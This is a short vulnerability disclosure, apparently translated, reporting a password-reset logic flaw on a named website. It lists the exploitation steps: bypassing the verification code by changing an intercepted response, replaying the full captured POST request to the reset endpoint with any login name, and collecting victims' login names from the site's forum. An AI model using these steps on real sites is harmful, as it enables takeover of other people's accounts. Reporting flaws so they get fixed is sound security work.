Password Reset for any user due to design logic Defects

Password Reset for any user due to design logic Defects

RT

Https://www.pzb.com/view/html/user/forgetPassword.shtml



13333333333 Test
 

Enter any verification code and capture packets
 

Change to success



Go to the password setting page
 

Set a new password.


 

Extract the request content of this interface
 

POST https://www.pzb.com/web/view/anon/new/resetPassword HTTP/1.1Host: www.pzb.comConnection: keep-aliveContent-Length: 50Accept: application/json, text/javascript, */*; q=0.01Origin: https://www.pzb.comX-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0Content-Type: application/jsonReferer: https://www.pzb.com/view/html/user/forgetPassword.shtmlAccept-Encoding: gzip,deflateAccept-Language: zh-CN,zh;q=0.8Cookie: JSESSIONID=B725CA0E88E4A6A6F2C8062540351F2A; uid=rBADClbxWsQw7zlOAwPlAg==; CNZZDATA1256380794=1425105793-1458658165-null%7C1458658165{"login_name":"13333333333","password":"123123qq"}

Replace login_name to reset any user and password

For example
 

Login names of some users can be obtained from the Forum

Https://www.pzb.com/bbs/html/

Login
 

 

Personal data is sensitive to users

 

Above

Solution:

Enhanced verification code